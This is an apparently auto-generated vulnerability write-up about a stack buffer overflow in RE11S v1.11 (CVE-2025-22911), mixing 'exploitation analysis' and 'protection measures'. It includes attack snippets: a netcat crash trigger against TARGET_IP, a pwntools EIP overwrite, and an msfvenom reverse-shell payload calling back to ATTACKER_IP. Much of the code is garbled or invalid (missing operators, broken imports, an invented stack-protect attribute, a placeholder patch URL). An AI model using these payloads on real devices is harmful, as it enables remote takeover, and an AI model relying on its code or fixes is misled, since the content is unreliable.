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How CVE-2025-22911 Works
CVE-2025-22911 is a critical stack-based buffer overflow vulnerability in RE11S v1.11. The flaw exists in the `formiNICbasicREP` function, which improperly validates the length of the `rootAPmac` parameter before copying it into a fixed-size stack buffer. Attackers can craft a maliciously long `rootAPmac` value, exceeding the buffer’s capacity, leading to memory corruption. Successful exploitation allows arbitrary code execution with root privileges due to insufficient bounds checking. The vulnerability is remotely exploitable via crafted network packets targeting the affected function.
DailyCVE Form
Platform: RE11S
Version: v1.11
Vulnerability: Stack Overflow
Severity: Critical
Date: 04/23/2025
What Undercode Say:
Exploitation Analysis
1. Crash Trigger:
python -c "print('A' 1024)" | nc TARGET_IP 8080
2. ROP Chain Setup:
from pwn import payload = b"A" 256 + p32(0xdeadbeef) Overwrite EIP
3. Shellcode Injection:
msfvenom -p linux/x86/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f py
Protection Measures
1. Patch Application:
wget https://vendor.com/patches/RE11S_v1.12_fix.zip unzip RE11S_v1.12_fix.zip && ./install.sh
2. Stack Canary Enforcement:
void <strong>attribute</strong>((stack_protect)) formiNICbasicREP() { ... }
3. Input Validation:
if (strlen(rootAPmac) > 64) exit(1);
Detection Commands
1. Vulnerable Version Check:
grep "RE11S v1.11" /etc/version
2. Log Monitoring:
journalctl -u re11s_service | grep "formiNICbasicREP"
Mitigation Script
!/bin/python3 import socket def sanitize_input(data): return data[:64] if len(data) > 64 else data
Debugging
1. GDB Analysis:
gdb -q /usr/bin/re11s -ex "disas formiNICbasicREP"
2. Core Dump Inspection:
ulimit -c unlimited && ./re11s_crash
Network Hardening
iptables -A INPUT -p tcp --dport 8080 -m string --string "rootAPmac" --algo bm -j DROP
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
